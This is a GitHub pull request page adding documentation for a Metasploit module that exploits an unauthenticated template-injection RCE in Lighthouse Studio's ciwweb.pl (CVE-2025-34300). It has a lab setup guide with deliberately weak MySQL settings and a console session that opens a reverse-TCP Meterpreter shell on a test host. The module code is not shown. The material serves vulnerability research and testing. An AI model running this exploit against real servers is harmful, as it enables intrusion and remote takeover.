-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Add Lighthouse Studio unauthenticated RCE (CVE-2025-34300) #20397
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
vognik
wants to merge
19
commits into
rapid7:master
Choose a base branch
from
vognik:CVE-2025-34300
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from 13 commits
Commits
Show all changes
19 commits
Select commit
Hold shift + click to select a range
e7667d4
Add Lighthouse Studio unauthenticated RCE (CVE-2025-34300)
vognik 75e1158
Fixed docs formatting
vognik a836c9b
Fixed CVE Format
vognik 6bf385e
Removed dublicate logging bug
vognik 45a6176
Removed Limits
vognik c06a7c4
Check Method Refactoring
vognik e90396a
Execute Method Refactoring
vognik 85e97aa
Fix STUDYNAME empty check
vognik 6276b27
Improved Exploit Stability on Windows
vognik d57a364
Fix Tests
vognik 1c1b574
Removed Debug Print
vognik d62ef44
Code Review Edits
vognik e93755a
Added WritableDir Option
vognik 38b0bd1
Code Review Edits
vognik 6e5d474
Apply suggestion from @jheysel-r7 in Docs
vognik 82eaded
Code Review Edits from @sjanusz-r7
vognik 9696cc5
Merge branch 'rapid7:master' into CVE-2025-34300
vognik 8024900
fix tests
vognik b13f591
Added Setup Guide for Windows
vognik File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
382 changes: 382 additions & 0 deletions
382
...ation/modules/exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,382 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits a template injection vulnerability in the | ||
Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application. | ||
The application fails to properly sanitize user input within survey templates, | ||
allowing unauthenticated attackers to inject and execute arbitrary Perl commands | ||
on the target system. | ||
|
||
This vulnerability affects Lighthouse Studio versions prior to 9.16.14. | ||
Successful exploitation may result in remote code execution under the privileges | ||
of the web server, potentially exposing sensitive data or disrupting survey operations. | ||
|
||
An attacker can execute arbitrary system commands as the web server. | ||
|
||
## STUDYNAME parameter | ||
|
||
The `STUDYNAME` parameter must be set manually if the server responds with the error `Cannot find default studyname`, which occurs when the `hid_studyname` parameter is not provided. | ||
The `hid_studyname` parameter serves as the identifier of the survey or test being executed. | ||
|
||
## Testing | ||
vognik marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
To set up a test environment: | ||
|
||
1. Download and Install Ubuntu 18.04.6 LTS | ||
|
||
Download the ISO from the official Ubuntu archive: | ||
https://releases.ubuntu.com/18.04/ | ||
|
||
2. Update Package Index | ||
|
||
After installation, update your system’s package list: | ||
|
||
``` | ||
sudo apt update | ||
``` | ||
|
||
3. Install MySQL 5.7 | ||
|
||
Install MySQL 5.7, the target version: | ||
|
||
``` | ||
sudo apt -y install mysql-server-5.7 | ||
``` | ||
|
||
Once installed, MySQL should start automatically. If not, run: | ||
|
||
``` | ||
sudo systemctl start mysql | ||
``` | ||
|
||
4. Install Perl Modules | ||
|
||
Install core build tools and the cpanm Perl module manager: | ||
|
||
``` | ||
sudo apt -y install build-essential cpanminus | ||
``` | ||
|
||
Install required Perl modules with specific versions: | ||
vognik marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
``` | ||
sudo cpanm [email protected] | ||
sudo cpanm DBD::[email protected] | ||
sudo cpanm JSON::[email protected] | ||
sudo cpanm [email protected] | ||
``` | ||
|
||
``` | ||
sudo apt install libdbd-mysql-perl | ||
``` | ||
|
||
5. Install and Start Apache Web Server | ||
|
||
``` | ||
sudo apt install -y apache2 | ||
sudo systemctl start apache2 | ||
sudo systemctl enable apache2 | ||
``` | ||
|
||
Apache will now be running and set to start automatically on boot. | ||
|
||
6. Enable CGI and Perl Support in Apache | ||
|
||
Install the required Apache modules and enable CGI execution: | ||
|
||
``` | ||
sudo apt install -y libapache2-mod-perl2 | ||
sudo a2enmod perl | ||
sudo a2enmod cgi | ||
sudo systemctl restart apache2 | ||
``` | ||
|
||
This allows Perl CGI scripts to be executed from the web server. | ||
|
||
7. Install and Start FTP Server (vsftpd) | ||
|
||
``` | ||
sudo apt install -y vsftpd | ||
sudo systemctl start vsftpd | ||
sudo systemctl enable vsftpd | ||
``` | ||
|
||
8. Configure FTP Access | ||
|
||
Create FTP User | ||
|
||
``` | ||
sudo adduser ftpuser | ||
``` | ||
|
||
Set Directory Permissions | ||
|
||
``` | ||
sudo chown -R ftpuser:ftpuser /var/www/html | ||
``` | ||
|
||
Edit FTP Configuration. | ||
Open the config file: | ||
|
||
``` | ||
sudo nano /etc/vsftpd.conf | ||
``` | ||
|
||
Update or add the following settings: | ||
|
||
``` | ||
listen=YES | ||
listen_ipv6=NO | ||
|
||
anonymous_enable=NO | ||
local_enable=YES | ||
write_enable=YES | ||
|
||
chroot_local_user=YES | ||
allow_writeable_chroot=YES | ||
|
||
user_sub_token=$USER | ||
local_root=/var/www/html | ||
|
||
local_umask=022 | ||
file_open_mode=0644 | ||
``` | ||
|
||
Then restart the FTP service: | ||
|
||
``` | ||
sudo systemctl restart vsftpd | ||
sudo systemctl enable vsftpd | ||
``` | ||
|
||
9. Configure MySQL Access | ||
|
||
Create a Test User and Database | ||
|
||
Login to MySQL: | ||
|
||
``` | ||
sudo mysql -u root | ||
``` | ||
|
||
Then execute: | ||
|
||
``` | ||
CREATE USER 'test'@'%' IDENTIFIED BY 'test'; | ||
CREATE DATABASE test DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; | ||
GRANT ALL PRIVILEGES ON test.* TO 'test'@'%'; | ||
FLUSH PRIVILEGES; | ||
EXIT; | ||
``` | ||
|
||
Allow External MySQL Connections | ||
|
||
Edit the MySQL config: | ||
|
||
``` | ||
sudo nano /etc/mysql/mysql.conf.d/mysqld.cnf | ||
``` | ||
|
||
Find the line: | ||
|
||
``` | ||
bind-address = 127.0.0.1 | ||
``` | ||
|
||
Change it to: | ||
|
||
``` | ||
bind-address = 0.0.0.0 | ||
``` | ||
|
||
Save and exit, then allow MySQL traffic through the firewall: | ||
|
||
``` | ||
sudo ufw allow 3306/tcp | ||
``` | ||
|
||
Restart MySQL: | ||
|
||
``` | ||
sudo systemctl restart mysql | ||
``` | ||
|
||
10. Configure Apache for CGI Scripts | ||
|
||
Update Apache Virtual Host | ||
|
||
Edit the default site config: | ||
|
||
``` | ||
sudo nano /etc/apache2/sites-enabled/000-default.conf | ||
``` | ||
|
||
Inside the `<VirtualHost *:80>` block, add: | ||
|
||
``` | ||
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/ | ||
|
||
<Directory "/var/www/html/cgi-bin"> | ||
AllowOverride None | ||
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch | ||
Require all granted | ||
</Directory> | ||
``` | ||
|
||
Restart Apache | ||
|
||
``` | ||
sudo systemctl restart apache2 | ||
``` | ||
|
||
Now CGI scripts in /var/www/html/cgi-bin/ should be executable. | ||
|
||
11. Download and Install Windows (on Second VM) | ||
|
||
Download Windows 10 ISO from the official Microsoft site: | ||
vognik marked this conversation as resolved.
Show resolved
Hide resolved
|
||
https://www.microsoft.com/en-us/software-download/windows10 | ||
|
||
Follow standard installation steps in your hypervisor (e.g., VirtualBox, VMware, etc.). | ||
|
||
12. Download and Install Vulnerable Lighthouse Studio | ||
|
||
This is the vulnerable application used to build and upload surveys. | ||
|
||
https://d2rpjb6zne1wug.cloudfront.net/software-installers/Lighthouse-Studio/LighthouseStudio_9_16_12_Setup.exe | ||
|
||
The version history page is available at: | ||
https://sawtoothsoftware.com/resources/software-downloads/lighthouse-studio/version-history | ||
|
||
Install Lighthouse Studio using default options. | ||
|
||
13. Create and Save a New Study | ||
|
||
Use | ||
|
||
``` | ||
File -> New Study | ||
``` | ||
|
||
and follow instructions. | ||
In the end save the study. | ||
|
||
14. Upload the Study to the Ubuntu VM | ||
|
||
To host your survey on the Ubuntu VM: | ||
|
||
In the Top Bar -> Click on Hosting | ||
|
||
Set the following database configuration: | ||
|
||
Database Name: `test` | ||
|
||
Database Username: `test` | ||
|
||
Database Password: `test` | ||
|
||
Database Server: `MySQL` | ||
|
||
Set FTP Access | ||
|
||
Fill in the FTP settings: | ||
|
||
FTP Host: `IP address or hostname of your Ubuntu VM` | ||
|
||
Username: `ftpuser` | ||
|
||
Password: password for `ftpuser` | ||
|
||
In the "Advanced" Tab | ||
|
||
Set the Database Server Host Name — enter the IP address of your Ubuntu VM. | ||
|
||
15. Upload the Survey to Server | ||
vognik marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
Click the "Upload Survey to Server" button. | ||
|
||
If all configurations are correct, Lighthouse Studio will: | ||
|
||
- Upload the survey files via FTP | ||
- Initialize the MySQL database | ||
- Generate CGI scripts | ||
|
||
## Scenario | ||
|
||
``` | ||
msf6 > use exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300 | ||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > show options | ||
|
||
Module options (exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 80 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
SSLCert no Path to a custom SSL certificate (default is randomly generated) | ||
STUDYNAME no Value for the hid_studyname GET parameter | ||
TARGETURI /cgi-bin/ciwweb.pl yes Path to vulnerable ciwweb.pl | ||
URIPATH no The URI to use for this exploit (default is random) | ||
VHOST no HTTP server virtual host | ||
|
||
|
||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. | ||
SRVPORT 8080 yes The local port to listen on. | ||
|
||
|
||
Payload options (linux/x64/meterpreter/reverse_tcp): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
|
||
|
||
Exploit target: | ||
|
||
Id Name | ||
-- ---- | ||
0 Linux Dropper | ||
|
||
|
||
|
||
View the full module info with the info, or info -d command. | ||
|
||
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > set RHOSTS 192.168.19.129 | ||
RHOSTS => 192.168.19.129 | ||
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > set STUDYNAME 123 | ||
STUDYNAME => 123 | ||
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > set LHOST eth0 | ||
LHOST => 192.168.19.130 | ||
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > set SRVPORT 9999 | ||
SRVPORT => 9999 | ||
msf6 exploit(multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300) > run | ||
|
||
[*] Started reverse TCP handler on 192.168.19.130:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Extracting version... | ||
[*] Extracted version: 9.16.12 | ||
[+] The target appears to be vulnerable. | ||
[*] Uploading malicious payload... | ||
[*] Command Stager progress - 44.31% done (362/817 bytes) | ||
[*] Uploading malicious payload... | ||
[*] Sending stage (3045380 bytes) to 192.168.19.129 | ||
[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.129:39790) at 2025-07-20 07:04:31 -0400 | ||
[*] Command Stager progress - 97.31% done (795/817 bytes) | ||
[*] Uploading malicious payload... | ||
[*] Command Stager progress - 100.00% done (817/817 bytes) | ||
|
||
meterpreter > sysinfo | ||
Computer : 192.168.19.129 | ||
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
|
||
``` |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.